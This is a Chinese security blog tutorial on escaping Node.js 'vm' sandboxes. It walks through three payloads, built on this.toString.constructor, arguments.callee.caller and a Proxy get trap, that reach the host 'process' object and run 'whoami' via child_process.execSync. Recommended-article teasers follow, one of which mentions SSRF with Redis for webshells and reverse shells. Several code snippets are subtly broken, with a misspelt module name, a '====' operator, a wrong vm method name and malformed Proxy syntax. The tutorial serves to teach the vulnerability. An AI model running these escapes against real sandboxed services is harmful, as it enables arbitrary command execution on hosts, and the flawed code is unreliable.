安全基础 --- nodejs沙箱逃逸

2023-09-22 11:09:22

nodejs沙箱逃逸

沙箱绕过原理:沙箱内部找到一个沙箱外部的对象,借助这个对象内的属性即可获得沙箱外的函数,进而绕过沙箱

  • 前提:使用vm模块,实现沙箱逃逸环境。(vm模式是nodejs中内置的模块,是nodejs提供给使用者的隔离环境)
  • 目的:拿到process模块

实现沙箱逃逸,拿到目标

(1)Function构造函数实现

源代码:
const vm = require('vm');
// 一代沙箱,不安全,有逃逸漏洞
const script = `m + n`;
// 沙箱内引入脚本执行命令
const sandbox = {m:1,n:2};
// 为沙箱中传入对象
const context = new vm.createContext(sandbox);
// 创建沙箱的上下文环境,将沙箱对象传入
const res = vm.runContext(script,sandbox);
// 通过script参数进行沙箱内部的执行
console.log(res);
引入Function():

this来引入当前上下文里没有的模块,绕过这个隔离环境

const script = `
    const process = this.toString.constructor('return process')()
    process.mainModule.require('child_process').execSync('whoami').toString()
`;
// this.toString获取到一个函数对象,this.toString.constructor获取到函数对象的构造器,即Function()这个构造函数,构造器中传入字符串类型的代码
// process模块调用mainModule,require用来导入子类的process模块,然后使用execSync执行命令

问题1:为什么不能使用{}.toString.constructor('return process')(),却使用this?

{} 是在沙盒内部的一个对象,而this是在沙盒外的对象(注入进来的)。沙盒内的 {} 无法获取process,因为其本身就无process

问题2:m和n也是沙盒外的对象,为什么不能用m.toString.constructor('return process')()实现?

因为 primitive types,数字、字符串、布尔这些都是 primitive types ,他们传递的是值,沙盒内使用的m和外部的m不是同一个m,无法利用。

const sandbox = {m:[],n:{},x:/regexp/}
// 修改后就可利用了
实现:
const vm = require('vm');
const script = `
    const process = this.toString.constructor('return process')()
    process.mainModule.require('child_process').execSync('whoami').toString()
`;
const sandbox = {m:[],n:{},x:/regexp/};
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script,context);
console.log(res);

(2)argument.callee.caller实现

源代码:

(在1的基础上,进行修改,使得this无法实现)

const vm = require('vm');
const script = `..`;
const sandbox = Object.create(null);
// 上下文无对象,this指向为空
const res = vm.runInContext(script,context);

// Object.create(null)指向了纯净的空对象,无原型链,无this环境,无任何方式方法。
// 在js中,this指向window;nodejs中的this指向global
分析:
const sandbox = Object.create(null);

function greet(){
    console.log(this);
}
// 此时的this是在sandbox下调用,此时的this指向null
sandbox.greet = greet;
// 将greet赋值给sandbox中的greet属性
sandbox.greet();
// 实现调用

利用arguments.callee.caller实现

arguments // js中的callee caller 是已经被废弃的属性

//(1) 写个函数实现callee
const factorial = function(n) {
    if (n === 0 || n ==== 1){
        return 1;
    }else{
        return n * arguments.callee(n-1);
// 实际上是递归进行传递,arguments.callee(n-1) === factorial(n-1)
    }
};
// 1 2 3 5 8  ---- 斐波那契数列
console.log(factorial(5)); // 120
// 5 * factorial(4)
// 5 * 4 * factorial(3)
// 5 * 4 * 3 * factorial(2)
// 5 * 4 * 3 * 2 * 1

// (2) 实现caller
function outer() {
    inner();
}

function inner() {
    // 函数的父类,谁调用了你,会指向某个调用你的函数。此处打印出的是outer()
    console.log(arguments.caller);
}
// 在inner中,arguments.caller是被outer调用
outer();
// undefined

arguments.callee.caller --- 某个调用你的方法

实现:
const vm = require('vm');
const script = `(() => {
    const a = {}
    a.toString = function() {
    const cc = arguments.callee.caller;
    const p = (cc.constructor('return process'))();
    return p.mainModule.require('chile_process').execSync('whoami').toString();
    }
    return a;
})()`;
// arguments.callee是函数本身,就是function(),加上.caller指向toString方法
// toString方法指向外部,在外部通过拼接字符串进行调用
// 最终toString方法指向沙箱外部
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script,context);
console.log('hello' + res); // 通过hello触发
// 在js中,某个东西和字符串拼接,最终会变成一个字符串。'hello' + res --- string(自动调用toString方法)

// 相当于在外部通过hello进行字符串连接,连接了一个函数,最终调用toString方法,这个toString方法就会触发内部的a,触发a的toString方法,利用这个toString和constructor拿到内部的Function,最后返回process对象

(3)利用ex6的Proxy(代理模式)来劫持外部的get操作

Proxy可理解为:在目标对象前架设一层“拦截”,外界对该对象的访问,都必须先通过这层拦截,相当于对外界的访问进行过滤和改写。

例:拦截读取属性行为
var proxy = new Proxy(){
    get:function(target,proKey){
        return 35;
    }
}
proxy.time  // 35
proxy.name  // 35
proxy.title // 35
实现:
const vm = require('vm');
const script = `(() => {
    const a = new Proxy({},{
        get:function(){
            const cc = arguments.callee.caller;
            cc.constructor('return process')
        }
    })
})()`;
// 定义代理模式,将代理模式定义为空对象,这个空对象有get方法
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script,context);
console.log(res.xxx);
更多推荐

【基于MBD开发模式的matlab持续集成(一)】

基于MBD开发模式的matlab持续集成引言或许是感受到行业内卷的愈加激烈,在传统制造和高新技术相结合的新能源领域对软件工程开发的要求也愈加提高,尤其在互联网已经大行其道的敏捷开发,便顺其自然的被新能源的老板们所看重。概述本文包含两块内容,第一是使用jenkins+git打造一个可自动构建的持续集成环境,这个是互联网的

以创新抵御经济环境压力:自动化测试ReadyAPI帮助企业平衡软件质量与成本控制

任何行业的公司都可能会经历严重的财务困境,这种困境往往导致供应链中断、劳动力短缺和运营成本增加。通货膨胀压力、利率上升和地缘政治不确定性的压力加重了企业的资产负债。企业需要适应不断演变的消费者需求和数字化转型,加上面临着激烈的竞争,利润空间收到压缩。这些财务困境迫使企业探索创新的方法,在高度不稳定的经济环境中保持弹性并

【SpringMVC】基础部分

SpringMvcSpringMVC是Spring提供的一个实现了WebMVC设计模式的轻量级Web框架。MVC(ModelViewController),一种用于设计创建Web应用程序表现层的模式Model(模型):数据模型,用于封装数据View(视图):页面视图,用于展示数据Controller(Handle处理器

【校招VIP】交流技巧之面试时合理表达观点

考点介绍:交流和表达是产品的面试最重要的考查点之一,也是产品必备工作技能。如果在面试中不能合理的与面试官沟通,或者不能把自己的思路和分析有逻辑的表达出来,都会对面试结果产生不好的影响。交流技巧之面试时合理表达观点-相关题目及解析内容可点击文章末尾链接查看!一、考点题目1.需求评审时研发说需求实现不了怎么办?解析:这种情

第二证券:今年来港股回购金额超700亿港元 9月近200家公司获增持

本年以来,港股上市公司回购力度不断增强。据恒生指数公司计算,到9月15日,本年以来港股回购金额到达735亿港元,占去年全年总额的70%。该公司预测,2023年港股回购金额可能到达929亿港元,是前5年年度平均水平的3.9倍。除回购外,9月以来,约190家港股公司获产业本钱、公司股东或出资组织的增持。业内人士表明,现在恒

力学性能和工艺性能

声明本文是学习GB-T713.1-2023承压设备用钢板和钢带第1部分:一般要求.而整理的学习笔记,分享出来希望更多人受益,如果存在侵权请及时联系我们1范围本文件规定了承压设备用钢板和钢带的牌号表示方法、订货内容、尺寸、外形、重量、技术要求、检验规则、试验方法、包装、标志及质量证明书。本文件适用于锅炉、压力容器、压力管

python单例模式的使用

之前写过这样的一篇文章:腾讯云COS的快速接入,里边讲到了我对于cosutil这个类初始化的时候的一点改造。但是我发现了一个问题:我的接口每次去请求的时候都要初始化一次,因为我的接口是这样定义的:@router.post('/upload/{cos}')asyncdefupload_file(cos:str,file:

【副业合集】60个正规可做兼职的网站

分为两大板块,技能类和非技能类,大家可以根据自己个人情况进行选择。一、非技能类下苦力气,不用动什么脑子1.任务类无门槛,赚的不多,可能一天也就只能赚十几块,但都是官方平台,有保障,对于学生党来说还行。阿里众包京东微工腾讯搜活帮龙猫众包百度众测百川任务有道众包2.跑腿类跑腿类的性质就是出卖劳动力了,只要你愿意干,有时间干

组合拳SSRF+redis未授权访问

目录一、SSRF二、redis未授权访问三、组合利用1.写入Webshell2.反弹shell一、SSRF一台web服务器对其他服务器发起请求,以加载其他服务器的web内容或数据但因请求参数没有进行严格过滤,攻击者可能会通过SSRF漏洞来访问敏感数据、执行未经授权的操作,或者将服务器用于发起攻击其他系统的请求。二、re

基于YOLOv8模型的深海鱼目标检测系统(PyTorch+Pyside6+YOLOv8模型)

摘要:基于YOLOv8模型和BDD数据集的自动驾驶目标检测系统可用于日常生活与海洋中检测与定位深海鱼目标,利用深度学习算法可实现图片、视频、摄像头等方式的目标检测,另外本系统还支持图片、视频等格式的结果可视化与结果导出。本系统采用YOLOv8目标检测算法训练数据集,使用Pysdie6库来搭建前端页面展示系统。另外本系统

探索以太坊 Layer 2 解决方案的后起之秀——Starknet

作者:stella@footprint.network数据来源:StarknetDashboard“区块链三难题”,或“可扩展性三难题”,强调了区块链平台想要去平衡安全性、去中心化和可扩展性将面临的挑战。通常情况下,区块链架构只能有效地优先考虑其中两个难题。例如,以太坊优先考虑了安全性和去中心化,导致了可扩展性方面面临

热文推荐